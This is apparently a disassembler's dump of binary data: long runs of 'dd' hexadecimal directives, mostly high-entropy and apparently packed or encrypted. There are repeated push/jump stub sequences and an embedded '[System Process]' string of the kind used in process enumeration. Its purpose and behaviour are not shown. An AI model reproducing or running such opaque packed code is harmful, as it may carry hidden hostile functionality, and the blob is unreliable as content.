dd 9E1E4003h, 0CEDF16A1h, 0D040C3F0h, 1D8DEE45h, 0BFEF8F19h
dd 32DF249Fh, 315E10BBh, 734B64D4h, 4D49B93Eh, 9AC49A70h
dd 9C0C6FC4h, 0D900A59Ah, 0A41CB3AAh, 0B222A093h, 68D85BD8h
dd 1570C18Dh, 0E744C5A5h, 0E639C77Fh, 113E47A7h, 0B3E39325h
dd 4FF418ABh, 0A8791AA9h, 0A097AED5h, 43BFB5ABh, 3E4h
dd 14E151ADh, 4B2A9A1Fh, 0CE959D4h, 54219117h, 0AEB5BDFh
dd 1FA31E8Dh, 0D659C6AFh, 24A08F66h, 0F152E1B4h, 0FBE3F481h
dd 9C400148h, 112BEC16h, 5F57C724h, 9581F152h, 0ED5360F2h
dd 0BFE2617Dh, 3E1086F2h, 0AB127D6Dh, 0F53E9F1Ch, 3E0F0777h
dd 86F24287h, 37182910h, 19E6535Eh, 496E97A8h, 4A000000h
dd 3DB0BABh, 9C41FF40h, 91AD7E16h, 0A9B525A0h, 0BDC910B3h
dd 0EBB41693h, 84BDAAEEh, 5A301F40h, 9E56763Bh, 7CB51693h
dd 0A01072FEh, 0CD2EDB8Fh, 0A6BB85Dh, 96FC49Ah, 73A09D99h
dd 0A4999D0Dh, 39EC48C6h, 0C0000003h, 5E58C824h, 48256770h
dd 54CDD1C4h, 84299384h, 5A301FE8h, 0D4EA5AD9h, 0FEEC5CDFh
dd 0D343C06Fh, 56DCEE3h, 23BD6DFEh, 0C0557A33h, 0DC05C09Eh
dd 9F1086FCh, 2B6DC8Eh, 0CD20CD2h, 86FC1039h, 20CADB10h
dd 9BF54D85h, 0A1231016h, 9D181E31h, 1693E570h, 0A3930366h
dd 78BE2E8Eh, 51A10C7Dh, 93E5AFF2h, 527D4E16h, 0BB8E41F8h
dd 9DBD352Eh, 2CB6h, 0BABD200h, 7A8D73E3h, 0D9F619AFh
dd 0DE4EAC05h, 9F9B2A2Ch, 9E169BD6h, 0E32A898Dh, 8C1693D4h
dd 2A8FBA25h, 0B29DBD40h, 0F2h, 5FC72486h, 7AF330F4h, 40765984h
dd 68D9795Eh, 28E88DD4h, 171D142h, 2F9F1C15h, 1179FAE7h
dd 73D95932h, 0EE657217h, 70C50D1Eh, 0A4A64F60h, 0B01E09B3h
dd 0CABF031Eh, 6E865160h, 62664F0Ch, 452A985h, 24643F2Bh
dd 2C108698h, 69B65FCFh, 0E9C9A0Ah, 2E9E1E6Ah, 0A41F3D01h
dd 1086807Dh, 42873E00h, 29108680h, 1533718h, 9B86FA42h
dd 2B8E7B16h, 91827BBBh, 6EFC030h, 0AEB0E0A0h, 8BE9F317h
dd 0DB87A10h, 1CABEDC4h, 0A5B996A7h, 88F87AB7h, 61D131E2h
dd 0AB1B9F94h, 0BDD5A9D2h, 3CB8BEB1h, 1F0h, 0E0B525A1h
dd 977EEE53h, 0D8BD2D88h, 0A075E54Bh, 0D6BF2F93h, 53D7CAC1h
dd 9A1D12E3h, 58D44B2Ah, 95160DE8h, 57875025h, 9C46A5ECh
dd 75C74816h, 0BF56C624h, 0A616969Bh, 570AB491h, 0B95163BAh
dd 86FFB78h, 8EA19E98h, 0BAB41E7h, 765577E3h, 321D5584h
dd 9299992Ch, 93A4169Bh, 98FD20A3h, 0B48A1693h, 98F61BAAh
dd 0A4751693h, 0F199096Fh, 0C73217C6h, 4D9DBD83h, 0CDh
dd 57C72469h, 80F0525Fh, 85F575BEh, 23A2BC91h, 1086F2FEh
dd 50BEAC7Dh, 86F6B5F5h, 0C838BB10h, 0E975F62Dh, 2341B8Bh
dd 0C698C878h, 9BF03FFFh, 516D3E16h, 4670E060h, 7BEB4A49h
dd 0CDA8423Bh, 0D5E919DDh, 8B9EC56Eh, 794C1210h, 1CAA5C50h
dd 91340A1Bh, 1CAA5C48h, 18886233h, 0C253707h, 68A941B1h
dd 4FFB9A0Ah, 4670E062h, 1270A149h, 5CCF12B1h, 9DAE1CAAh
dd 46ACEBB2h, 0C5AFB1BEh, 0EF3Dh, 0B424A200h, 7FEF52E1h
dd 0BC2C8996h, 76E64AD9h, 0C232909Fh, 7C377433h, 38E78EFEh
dd 81AE47B7h, 2D029303h, 0CB75ECEh, 475E8342h, 5C1D169Ch
dd 3AC624E0h, 734C4ABAh, 0E95C825Ch, 1086F2A0h, 5907A4Bh
dd 0B85DCD2Eh, 57C72474h, 81F1525Fh, 84F474BDh, 5F1F87E6h
dd 0E44D0F2Fh, 2F201686h, 751585E4h, 0A19E3946h, 0CFEFC016h
dd 0DC0DDD06h, 0D4B6772Fh, 7AEA495Ah, 0B727849Bh, 0CFD047Fh
dd 9701CAAh, 3192F1D6h, 0C56C4F92h, 992C2E00h, 0C56C70h
dd 2A052AFBh, 0CB57D44Bh, 0C3BCFA6Ah, 37B9AAECh, 35BAF7C7h
dd 0FAE725C5h, 170C0A7Ah, 93F42292h, 0B010B726h, 56795640h
dd 0DB17C66Fh, 0E387CDFAh, 0C5303960h, 0E4F3C400h, 0C0AAD133h
dd 0BE80F053h, 4E1BDF99h, 9E4C95B5h, 7BE360CFh, 0BEB457F5h
dd 0FE3817BCh, 376h, 4B2F9200h, 5C5ACA24h, 4274E447h, 3363D331h
dd 4D49B93Eh, 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h
dd 3C7AEA4Fh, 4EC8178h, 89000000h, 0BD552424h, 4, 4246C01h
dd 0E389535Dh, 4C381h, 0EB810000h, 4, 5C241C87h, 50240C89h
dd 405E089h, 2D000000h, 4, 5C240487h, 68243489h, 61AAC6Ah
dd 81240C8Bh, 4C4h, 348B5400h, 4C48324h, 6685352h, 5B2A1842h
dd 0BE02C381h, 0DA89D5E7h, 89F2015Bh, 348B5A0Ah, 0E7895724h
dd 4C781h, 0C7830000h, 243C8704h, 2434FF5Ch, 4C48159h
dd 0E9000000h, 0FFFAC736h, 7B77AD4Ah, 1AB692B8h, 0FFC50306h
dd 8AF4CE0h, 8D22BF60h, 0E4D2C429h, 4D6A6F70h, 382B0D28h
dd 0E4CC8C2Dh, 15F2AF32h, 0C85BBD25h, 9D401029h, 0B4D6BF25h
dd 176E7811h, 8878D909h, 6F0A2E10h, 9F24270Ah, 0B90D436Bh
dd 6CBB9978h, 8B5A3E56h, 56FAC97Eh, 82699D6Fh, 0ADD2D0Fh
dd 656ECE48h, 50CD2E29h, 578D8E6Bh, 0D132117Eh, 4DBA7612h
dd 233FE40Eh, 715D3864h, 8E4CAD45h, 328DAD36h, 5E82Fh
dd 0C8E00000h, 6675DA91h, 4300C981h, 0D981665Ah, 0C28183E8h
dd 7456h, 13E8h, 0F9882900h, 0C6273B62h, 87C613A3h, 10CB5C84h
dd 45245BBDh, 3359E1B3h, 0C8D0FF6h, 0F000000h, 689h, 8C0F00h
dd 0FF000000h, 0B9661634h, 815F9F20h, 37E0BFEFh, 0F1816607h
dd 0EF81DEEDh, 23D04C5Ah, 0C1B70F53h, 24F7815Bh, 0E9386D23h
dd 0Dh, 0E9FD14Ch, 2673F002h, 622A70E5h, 323C894Eh, 9EAEBB66h
dd 0BE9h, 0FFA73300h, 409266E1h, 0E3F93BCCh, 64ACEE81h
dd 0C6811E86h, 1E8664A8h, 0FE81CA8Bh, 0FFFF8C54h, 0FF99850Fh
dd 0C68BFFFFh, 0CE8h, 256F0C00h, 7111E325h, 0F10CA10Ch
dd 19830F93h, 0E8000000h, 12h, 0D126D72Fh, 75D90191h, 0EEAD8B2Eh
dd 0CC26D8F9h, 5AF84CA1h, 81F78B5Bh, 5B8BC3h, 98B9F500h
dd 0F9000016h, 8B0F33FFh, 2, 8158F38Bh, 1D4895DEh, 3FC08140h
dd 0E93A8EFAh, 0Bh, 48B614C5h, 31CC96C4h, 81FCB219h, 4428BEE8h
dd 66BF6641h, 66C0811Eh, 0E842B9D5h, 11h, 0FC6515CDh, 0D328A058h
dd 4F2E7163h, 98C6702h, 3840FD9h, 0F000000h, 505AFAB7h
dd 13E9h, 663CC500h, 0E55A3607h
dd 9500E97Ch, 747E228Bh, 14A014FFh, 0F98B038Fh, 30BEB81h
dd 6FBA354Bh, 8132E1E3h, 4B0307C3h, 0CE935h, 4AB20000h
dd 43A1CD50h, 42AB9233h, 0E981B512h, 1, 39850Fh, 12E80000h
dd 24000000h, 4C5C3757h, 85EE2C5h, 52CBD6C5h, 0CA55E1ECh
dd 0AE917h, 695D0000h, 0DE1E1915h, 9A3DD322h, 26E95Ah
dd 956C0000h, 0E81E5BDFh, 0B676A3FBh, 0E9AD938Ah, 0FFFFFF20h
dd 8AC2A5C0h, 4655B5E7h, 0E33EF3B2h, 5412BB20h, 4E656FCCh
dd 16DE9h, 0B59100h, 406A9029h, 0BC4EA484h, 615AAB4Ch
dd 6A54360Bh, 69547E52h, 625AD00Bh, 49733E52h, 1B265E3Bh
dd 0E0726452h, 0E4C65AD0h, 5CB4879Ch, 2D168252h, 12852h
dd 0
dd 400h, 2 dup(0)
dd 3300h, 0
dd 800h, 0
dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 40h dup(0)
dd 65E90000h, 68000016h, 61ABCB5h, 0FB8DD7E9h, 0BDBF68FFh
dd 0CDE9061Ah, 68FFFB8Dh, 61ABE9Ch, 0FB8DC3E9h, 0BF5D68FFh
dd 0B9E9061Ah, 68FFFB8Dh, 61AC0DBh, 0FB8DAFE9h, 0C29C68FFh
dd 0A5E9061Ah, 68FFFB8Dh, 61AC36Ch, 0FB8D9BE9h, 0C42268FFh
dd 91E9061Ah, 68FFFB8Dh, 61AC601h, 0FB8D87E9h, 0C70868FFh
dd 7DE9061Ah, 68FFFB8Dh, 61AC7CDh, 0FB8D73E9h, 0C86068FFh
dd 69E9061Ah, 68FFFB8Dh, 61ACA3Ch, 0FB8D5FE9h, 0CF0D68FFh
dd 55E9061Ah, 68FFFB8Dh, 61ACFEEh, 0FB8D4BE9h, 4A3318FFh
dd 0E29B8F7Ah, 4C3117E2h, 0E895917Ch, 46371DE8h, 17F1E746h
dd 0BD484835h, 5C27A9D4h, 0FD880875h, 81196B12h, 23EBAA84h
dd 0BCA9A724h, 0AF992446h, 581ED7CEh, 322B523Dh, 0FDE9B097h
dd 10629F9Ah, 28514A14h, 0D3BDD881h, 0B40183AAh, 403EADFCh
dd 0B352F502h, 845E0732h, 0A728E3D1h, 910B9717h, 0F9476002h
dd 0ADDD6A13h, 472D6842h, 98F10036h, 36BEC13h, 116C65F0h
dd 28F36835h, 2D0534A7h, 2A19h, 6CC4AB00h, 8A7F0E1Dh, 0D0AE3BF3h
dd 0B353E22Ah, 0A9A6BF6Ah, 0EF47361Ch, 29DB4415h, 9A0AA4A7h
dd 0ECF7891Eh, 0B56D6Bh, 865F0000h, 2AC7DE9Fh, 0A12C3548h
dd 0B504F1A6h, 0BDCAB39Bh, 0AC85C412h, 0A2D18B5h, 3DF66D2Ch
dd 33FA2FADh, 0FC015751h, 5C53AD3Dh, 0E9E4AF21h, 2BE0D94h
dd 0CDA4D9CFh, 6B2605Eh, 37E2B353h, 0AA5B4855h, 0C49B5C8h
dd 88A728E0h, 803899E1h, 2013C231h, 0E58D445Dh, 8AC56A44h
dd 36E3AD40h, 57260CB9h, 0D5A88A75h, 787C47Fh, 0B74BC6FAh
dd 1414h, 0A1235A3Bh, 398BF2D6h, 0A325584Eh, 3F91ECD8h
dd 0AD1F5E54h, 8C7E980Eh, 0FBF49FF1h, 94770282h, 311CE7E9h
dd 0A7A47C4Ch, 24228AC7h, 239B0AA7h, 0F7D9A486h, 0A0BDB9AAh
dd 0FCAD3EDEh, 7F66254Dh, 0C4408EFEh, 300E1D6Ch, 0B353E20Ah
dd 7904E796h, 0D9D164C1h, 1D54FDA4h, 0DBF79A84h, 2F1A729h
dd 551D6053h, 3A4FCB57h, 0BE6BECF8h, 0E5h, 0DE9F8610h
dd 0B2CBC451h, 614702ABh, 0A6CC851Ch, 17C6EFBh, 0E3A67E68h
dd 3530AD3Eh, 0D2BD4848h, 98913CABh, 15128DE5h, 0C16D3066h
dd 6AFB6C7h, 678AA049h, 0AA63FA83h, 62DEAB83h, 0FC1A1413h
dd 64B3539Eh, 0ECA8EFD9h, 667703EFh, 96CFA7CEh, 9B4E1E3h
dd 8F465F1Eh, 0B94EEAE7h, 29AAA0BDh, 0AFEEC8A7h, 0EDA729AAh
dd 0FF36E33Ch, 51D016F0h, 9DCCAD41h, 2A0DFF8Eh, 3C4C0D4Ch
dd 93DA8FADh, 0F7F7E431h, 0AD3C4B5Ah, 2C670F3Ah, 74E13746h
dd 56FA0741h, 130A079Bh, 50450000h, 0B8B05B2Dh, 4E38C3C5h
dd 0BAB25D2Fh, 5436C1C3h, 9208A729h, 99EB9278h, 484F9EEh
dd 99EB9279h, 686F7EEh, 0F8A5A18Eh, 0A4A72421h, 992461B1h
dd 0E7A6CCB1h, 6D187805h, 4A331782h, 0C974A123h, 0ADD0BCDDh
dd 0FE34DD84h, 0DE9F868Ch, 0DBDBC8C7h, 0AD3EDEBEh, 48032BDEh
dd 0E5B0205Dh, 7E0B92EBh, 8996F687h, 0DEFD9C9Ah, 97CBAD3Eh
dd 35191883h, 0B87EAB74h, 0B9440599h, 0FFB6AFCEh, 8FDE5A37h
dd 0C0293A0h, 1441F871h, 300E6419h, 0B353C422h, 0D3C0C772h
dd 0B1B7E6E0h, 34E5A729h, 0E24E00FEh, 16B29EB3h, 644E28C7h
dd 8CC1B4E4h, 0EC750801h, 0FCD6335Fh, 7AB32E5Eh, 0A7BE6BB4h
dd 92A1F048h, 0CC739DB4h, 1D0A3FBBh, 88087570h, 0A56B12FDh
dd 0B977EB2h, 2DFD9108h, 22000012h, 917C4C31h, 19E4E499h
dd 937E4E2Fh, 17E2E29Bh, 0E9484835h, 4A3319F3h, 0E39A8F7Ah
dd 4A3316E1h, 0E5988F7Ah, 403E2BE3h, 0A7242111h, 86BC1283h
dd 6617FA9Fh, 7F39960Fh, 9118654Ch, 91A291E8h, 0E8177702h
dd 185E21F3h, 5334602Eh, 0FBCD7CB3h, 0CB681510h, 4C45543Ah
dd 0B8813831h, 3088E782h, 526152E1h, 290A2574h, 0D4A9A5A7h
dd 0AE98DE8Bh, 0AD43C399h, 78052257h, 5203F08Dh, 7559215Ch
dd 0C3DAA38Ah, 2E4F39C4h, 2A502D23h, 33C00FA9h, 80C29340h
dd 18E97DD7h, 0FE3FE462h, 0AC5DB349h, 0E6978E3Fh, 49341BE6h
dd 2675D320h, 0CC6D2D09h, 29AD3Eh, 5E01B1Ch, 72148DFAh
dd 116Ch, 398BF2E3h, 0A1235A4Eh, 3B8DF0D6h, 0A7295450h
dd 587F6DCh, 0F4D630A6h, 937C0789h, 0FCEF9AEAh, 89840F81h
dd 0FFC94F4h, 241F622Fh, 0CB4332A7h, 0F7D9A486h, 909FEE4Ah
dd 53F6B0B6h, 0AE3DECB3h, 59502D1Fh, 42CFDAA0h, 0A752324Bh
dd 47A4BDC0h, 0B18D9AE9h, 0AD3ECC69h, 0C9A5B62Dh, 0AD3ECB8Ch
dd 0B8E56108h, 0E4AD3ECBh, 0AE65FC35h, 0E994903Dh, 536119C0h
dd 9DE0C7DFh, 730AFF8Eh, 106D5FEAh, 0E199E099h, 99E860EDh
dd 0E3C69C9Ah, 33E6B353h, 9A903D2Ah, 5008BE3h, 6E64F178h
dd 2E37462Bh, 1AB7AE87h, 3D1E4736h, 0FDF529B9h, 0FA89036Fh
dd 18998816h, 0CEBB732Dh, 2A042372h, 0AD3E1934h, 3CC7C970h
dd 49352C51h, 0AD3E2508h, 4A62D264h, 7DAA1A63h, 4C1906Eh
dd 901AD3Eh, 0DB44ED74h, 4D30232Eh, 0FE7F6625h, 7B7B6867h
dd 0AD3E04DEh, 0E6E38BBEh, 12ECFB4Ah, 0B3533144h, 790A2950h
dd 0CCB60C31h, 1D71C961h, 6C2DD6Eh, 618B38B7h, 8FE026B3h
dd 0B28C9DD5h, 0AD443F95h, 0F18C7E0Fh, 0B09DFF62h, 2258385Dh
dd 7CAF1445h, 75C28F6Fh, 0A7D2AD2Fh, 0EF8B58E8h, 0BB73DF04h
dd 0BAE39A90h, 2F4FADE0h, 0A6F553ADh, 982AD89h, 0F9EAB34Ah
dd 8E17664Ch, 0A93E5BE7h, 0AB5EA729h, 806F9A83h, 79EDFD5h
dd 7A0B284Eh, 0EF9AEA93h, 51DC85F8h, 3F2E225Bh, 6DFC10E4h
dd 0FEE12B4h, 6C610000h, 0DCD4BF11h, 6A642FA1h, 0DEC6B113h
dd 70622D9Fh, 8EFCBB0Dh, 8DFF7E74h, 20700D02h, 8DFF7E75h
dd 12720B02h, 0E4B18D7Ah, 0B0A7241Eh, 37244DC5h, 3EDF1A37h
dd 0A7CF7AADh, 553106ECh, 0AD3EDF08h, 0B8B1CCC2h, 3AF32601h
dd 91C0BEADh, 3AD3EDEh, 0E5B02056h, 7F0A93EAh, 47F6F588h
dd 2C513762h, 0ACB57C35h, 97322D05h, 14A1C8B5h, 96465F1Eh
dd 0B34478ECh, 0B097AF43h, 0B8AF5ECDh, 529DDDDFh, 9BD2871Bh
dd 0A3234B02h, 1953374h, 79756672h, 0AD3E74DCh, 259BABB8h
dd 622E6F2Ch, 0B923630Bh, 95000001h, 0C7DE9F86h, 0AD3A432Ah
dd 4C02631Eh, 78BEDD43h, 1E180B18h, 0AD3E507Fh, 4F18654Bh
dd 0B977541Ah, 0C5817D6Ah, 0F1B35359h, 14452148h, 0AEA72959h
dd 0DA8C1BCh, 6C4F5627h, 91265ACAh, 78118D25h, 236BEC70h
dd 35FD8072h, 6A11h, 6CC4A300h, 362F4E39h, 6EC7B69Bh, 0B84E28C7h
dd 0C0B353E2h, 0EF949A13h, 2C02A793h, 570600F3h, 73A72998h
dd 0E25FE7Fh, 5E9E8611h, 37FE3789h, 10270DB8h, 29646736h
dd 2D0435A7h, 0AAB57D34h, 29647DD0h, 57CB6BA7h, 0C972EDDh
dd 81AFEEC8h, 3CEDA729h, 0F37580Fh, 96BFC867h, 0B3376BECh
dd 0EA000000h, 5C05785Bh, 860B7DB5h, 2AC7DE9Fh, 5B63548h
dd 892D0060h, 2B36FC3Dh, 0CFD6A79Eh, 52324B42h, 3EB60058h
dd 225B52ADh, 4C9B15A2h, 0DFDFCCDFh, 0AD3EB4B2h, 5FF37E2h
dd 0B3565C5Fh, 12210E3Bh, 51E2DC81h, 56B09B35h, 0A7279307h
dd 0F1A09E95h, 0A3A72792h, 7A77BF76h, 3494E9CBh, 361A6349h
dd 0FC129E21h, 2D0C9E5Bh, 2200000Eh, 917C4C31h, 19E4E499h
dd 937E4E2Fh, 17E2E29Bh, 0E9484835h, 4A3319F3h, 0E39A8F7Ah
dd 4A3316E1h, 0E5988F7Ah, 403E2BE3h, 0A7241D11h, 86BC1283h
dd 0CF7D9A4h, 0EF8E7821h, 7976BF76h, 67A1A0CAh, 8BE35C74h
dd 99248D3Bh, 7B02E7B2h, 5B022BE2h, 0D6D17CB2h, 8211FEA7h
dd 0D93759A0h, 0D776BC1Fh, 503B8DF0h, 32812855h, 1BA84796h
dd 0CE5BCC4h, 42AF8760h, 0D0ADA431h, 0EC5A20D9h, 0B353D9C2h
dd 0DB837E2h, 0A9505924h, 0B47A03ECh, 79C22D4h, 62F10000h
dd 87BC3EEBh, 5634FA7Ch, 0D0D9A486h, 3EDEA3F6h, 94E35DADh
dd 98949797h, 930B359h, 9745BEAh, 6C11FC87h, 5F47F6F5h
dd 0A8CE871Eh, 0A27607EDh, 0FC1F6B67h, 5D9A2CE5h, 0F200000Dh
dd 810C7C01h, 0E994F489h, 830E7EFFh, 0E792F28Bh, 99187805h
dd 9AE3C923h, 136A5F2Ah, 9AE3C6B1h, 15685F2Ah, 10EEDBB3h
dd 0A7241B41h, 86EC6253h, 0CF7D9A4h, 3ECF5C21h, 852C3548h
dd 8B5B2ADh, 0EA937D1Ch, 0BB73BA73h, 0C1E89590h, 0B4CC58DEh
dd 0D7C4C4B9h, 243D4026h, 0DE29D187h, 8BE26233h, 0D2F3A29Ch
dd 78A1AD3Eh, 0EF5A2FC2h, 129E7201h, 30000000h, 3EEA0B37h
dd 106D59ADh, 0F599E099h, 0FFFFFD90h, 0DF1637DBh, 4EEAAD3Eh
dd 0E916F0FFh, 0B7B35997h, 0F0D86582h, 0B944E58Dh, 98E5CBCEh
dd 2924EFE1h, 0CAC04D54h, 6B2C5DB3h, 0E39EFC1Fh, 0CA73Fh
dd 0BAC3A800h, 324B3FCAh, 0BCC1A752h, 384541CCh, 0B6C7AD58h
dd 876157D6h, 0DF8D8A5h, 8C775924h, 0DF8D8A5h, 0B1695B22h
dd 1A9BBAB4h, 8CF9A724h, 18972436h, 8F1C9963h, 0A0085531h
dd 0E594AD3Eh, 0C0A7E68Ch, 1E09A4BDh, 2343D05Fh, 0ABD2B624h
dd 0CA13B79Ch, 9C1AFDA4h, 0F09D8E08h, 0E07D89F4h, 0EAAD3E0Eh
dd 78A17A03h, 0E19C93C2h, 2AE7C0EFh, 0D0F7201h, 0C1000000h
dd 3EEA0B37h, 0DD093DADh, 0A7FFFFFCh, 51396CC4h, 0B57C352Ch
dd 0CCA3836h, 5BEAB354h, 372E0776h, 0DCA18D38h, 0D8660CC5h
dd 0A729B1B6h, 0B430C432h, 6BECC9F3h, 19203h, 4637B500h
dd 80AD3EDFh, 235A55E0h, 8EEFD6A1h, 0DED22B17h, 526AD3Eh
dd 0DE791816h, 0EE1BAD3Eh, 3CB62E48h, 0DB40C68Fh, 7BB3D85Ch
dd 16C2D5D0h, 45598948h, 0EE473630h, 41F84547h, 0E7DE6BF2h
dd 644B3696h, 53B69019h, 0D5AD3EBBh, 5C4FC959h, 3EBB3362h
dd 82B861ADh, 1D31A6Fh, 131DE72h, 86F00000h, 0C451DE9Fh
dd 0E47BB3CAh, 0AD1F5E49h, 0DA59A820h, 0F43A432Bh, 0E74BF7F7h
dd 0D86BB353h, 0D43B7F74h, 8CF1D785h, 5C155C15h, 68385945h
dd 46B0A729h, 807532AEh, 43816BECh, 94000000h, 0DB6256E7h
dd 670F6388h, 1D6CC469h, 0E20A300Eh, 0BBCAB353h, 56FFA6D7h
dd 0F99C861Fh, 0EFA729DBh, 61224FFCh, 23AE90EFh, 5228512Ch
dd 5354D064h, 0A36BEC9Ch, 99h, 742EC576h, 0D7398003h, 9F86319Fh
dd 0CEC451DEh, 55E087AFh, 0EA871E5Fh, 0E4E37A03h, 18A79757h
dd 3461E234h, 5FEE4439h, 79B31568h, 0AD3E742Bh, 0D9ABD2BDh
dd 384541CCh, 0E8379102h, 0EC356B4Bh, 0C871B355h, 0C5B89A2Bh
dd 2B5238C3h, 12E1BEE5h, 0F1950CFCh, 0AC8h, 0F5D7A687h
dd 7557260Ah, 0F7D9A48Ah, 6B5D200Ch, 0F1D3AAA0h, 0C8AA4432h
dd 3F28D3B5h, 0D0C34E3Eh, 3530DBADh, 0E3D04848h, 2418B6E3h
dd 1F6FE6A7h, 0F7D9A486h, 61381BAAh, 185E1766h, 99EB927Dh
dd 0B099242Bh, 0B27B02E9h, 604702ABh, 0A5CD841Dh, 717EFFE6h
dd 0E78FEEE4h, 433A35C0h, 468AF41h, 82210000h, 6346F78Eh
dd 0DEBBDAD4h, 30D9AD3Eh, 81B96009h, 0CA69B810h, 599860ECh
dd 0F6CD7CB3h, 9F8CDB55h, 25E3B28Ch, 88B1A724h, 7D4541B2h
dd 99AD3947h, 0DAD28370h, 0EAD4CBA3h, 0AD2F46A7h, 45413241h
dd 0AD2F4718h, 0B3081CB0h, 16518156h, 0BE74211Dh, 0F920AD2Fh
dd 0E87CFA40h, 0F2D71B6Ch, 3C1DB71h, 0BD4E0000h, 23A33B0Eh
dd 3D2F5A60h, 0CA702940h, 0B29924C8h, 531BD2CBh, 3EDEA8E9h
dd 0DE99CBADh, 0C781AD3Eh, 8E687B78h, 0AD3EDECFh, 55D69CCDh
dd 54038D59h, 9C80A9B3h, 0FC10F65Fh, 0C1B658D1h, 8E000009h
dd 25F0E09Dh, 9580502Dh, 17E2E29Bh, 937E4E2Fh, 4DECDCA1h
dd 0AECFC55Fh, 3F3E33DEh, 0AECFC24Dh, 413C33DEh, 0DCDAD74Fh
dd 0A72417BDh, 241866DFh, 0AA940797h, 0B99AB9C4h, 87F6F0A7h
dd 184541AEh, 84AD3E29h, 0F7EE9DD5h, 3890DF86h, 0E36C4AE9h
dd 0CDB358E2h, 31384540h, 0E075B288h, 0EBDD94E9h, 9493E25Eh
dd 0E67FFEE9h, 0F9EA072Fh, 9019644Ch, 0A0B391E9h, 3CAD3F89h
dd 7A6F1E0Dh, 87948103h, 3E28EAA7h, 707FAAADh, 3E28C796h
dd 0CEA4D5ADh, 3E2A4570h, 0F140FBADh, 1F5E5302h, 7805EB86h
dd 49F148F1h, 0A8D5BA45h, 4797401h, 63B20E5Dh, 45A0EAC4h
dd 95C4B353h, 107868BFh, 43E7A2FCh, 8FCh, 0A91B6253h, 3193EADEh
dd 0AB1D6046h, 3799E4E0h, 0B517664Ch, 846680F6h, 3EC97F9h
dd 8C7F0A7Ah, 0F9F49FF1h, 9F8C0484h, 2417F29Fh, 5BB3A2A7h
dd 0E1D6CC4h, 59981B30h, 0A7AAB9B3h, 953F2871h, 821B6246h
dd 5CCBA2CBh, 0C3C5B8B1h, 372E4F38h, 221160D8h, 0BB962671h
dd 0AB831C0Ch, 0CCC7403Eh, 0CB9AD3Eh, 68351126h, 34AD3E69h
dd 19062C05h, 9E1A79F0h, 42D3E04Fh, 9E2B324Bh, 0D49AD3AAh
dd 536FDC6Ah, 0B51F8B3h, 0FC10A2BAh, 69B155CCh, 0E6000008h
dd 6D187805h, 0ED98F885h, 7F0A7A03h, 0EB96F687h, 95147409h
dd 96E7CD27h, 17664B36h, 96E7CAB5h, 19644B36h, 14F2DFB7h
dd 0A7241645h, 86F05E57h, 0C8C7DE9Fh, 5228553Dh, 584B4C43h
dd 95A4D90Ah, 1C55280Bh, 0C7C14C55h, 0D020AFB6h, 0A51EC7D8h
dd 0ADD0BCD9h, 0C430BEB4h, 9B07AF90h, 9FF18C83h, 1ADF790h
dd 0B591A272h, 0AD3E9DE8h, 0D691ECE2h, 0B0BBCBA3h, 6E000001h
dd 0D94E9DFh, 4035AF7Eh, 4E2760AAh, 6CC4AA28h, 887F0E1Dh
dd 0E90056F5h, 0EDFF7AAFh, 0C8CAA445h, 18B3535Ah, 5A6E2B0Bh
dd 172EA729h, 9A534A33h, 97C29BD3h, 0FE72210Eh, 23D591E2h
dd 395CEA90h, 0AFA72915h, 7237B33Fh, 866BEC2Dh, 15Fh, 0EDAC8A99h
dd 0AFA7291Ch, 0A4770794h, 8CE51FF0h, 9F86E4E6h, 432AC7DEh
dd 0B05D4A3Ah, 90EDE3B6h, 6119C0E9h, 6A89D870h, 53E7BE8Ch
dd 7E45DEB3h, 0DE99133Eh, 0FF8E9DD4h, 0A3BE7409h, 294E96B7h
dd 3D402CA7h, 0DCA18924h, 0D064D2C5h, 0B97179Ch, 0EC66FA8Fh
dd 59FE6Bh, 0C4D00000h, 1D0E1D6Ch, 7A7CE56Eh, 3109EC8Ch
dd 53612FD3h, 0A28A3BB3h, 630BC2DBh, 33E04FFAh, 0D3BD3226h
dd 5D5E9DAAh, 7EF41A39h, 0E41FE9BBh, 6627138Eh, 82A72910h
dd 770680F4h, 43ABE895h, 0AA344465h, 119699E1h, 0E56BEC80h
dd 0A4h, 0E4B2B38h, 8EA72968h, 863593DBh, 2AC7DE9Fh, 0A12C3548h
dd 43CED7A6h, 525F314Ch, 518C5CC1h, 16D0BC3Bh, 0C5D2ED9Dh
dd 0B846EC45h, 0AD3E14D0h, 72522B22h, 0BC109625h, 0BEA3C79Fh
dd 4E9D1B78h, 3CBFE5E1h, 4ADBB356h, 3E3F3267h, 9EC76E27h
dd 24B13EF7h, 35E04F2Eh, 9BEB433Ah, 8D83FAF0h, 0FC12304Eh
dd 8DA145BCh, 0C2000006h, 31DCACD1h, 0B9444439h, 33DEAECFh
dd 0B742423Bh, 8928A8D5h, 6A13F913h, 37A6F1Ah, 6A13F681h
dd 5786F1Ah, 201E0B83h, 0A7241471h, 86DC3223h, 0CF7D9A4h
dd 0DE6C5C21h, 0C7DE9F86h, 0AD3A432Ah, 21592420h, 44DBADh
dd 82F50000h, 1D6CC43Fh, 9815300Eh, 8ABFB359h, 9E5F635h
dd 0A724254Ch, 36592148h, 0E02F8958h, 0DFDB7353h, 0D4C7AD3Eh
dd 3EDEBBDAh, 2530D9ADh, 411E5429h, 4ADBB318h, 56000000h
dd 0DF2C6945h, 0C168AD3Eh, 6CC41779h, 62300E1Dh, 0FEB3540Bh
dd 89205D4Fh, 75DAF2EAh, 1861A9F6h, 4D540562h, 297D1F71h
dd 0B52D59A7h, 210E5DDBh, 694E7925h
dd 0D0AE25B9h, 0AD3F4E81h, 0F08D8213h, 0EEA0F049h, 9Fh
dd 1D6CC4C4h, 9813300Eh, 0B4C1B359h, 866AC3BAh, 0A9F0DC69h
dd 0BB73BAC3h, 2506E68Ch, 26193836h, 0CE7BA724h, 1A960EA8h
dd 6BE7418Dh, 5869h, 6CC45B00h, 14300E1Dh, 0C0B35998h
dd 86ECA399h, 229C08A6h, 0E5027B73h, 24254C09h, 592148A7h
dd 0E741D1D6h, 2F256Bh, 0C4970000h, 300E1D6Ch, 0B3599815h
dd 0BFBEA6BFh, 0A5CB8276h, 0FD79E9C3h, 6BE73DACh, 126B5EEFh
dd 0F3A29C8Bh, 0A1A7242Dh, 0D579C178h, 17h, 0FAEB37E7h
dd 295DAD3Eh, 0FFFFFF2Eh, 5EFBFBE8h, 3EAD3EC3h, 0C465630Bh
dd 1D0E1D6Ch, 862776Eh, 73CFFFA2h, 0AD3E3626h, 0A386C376h
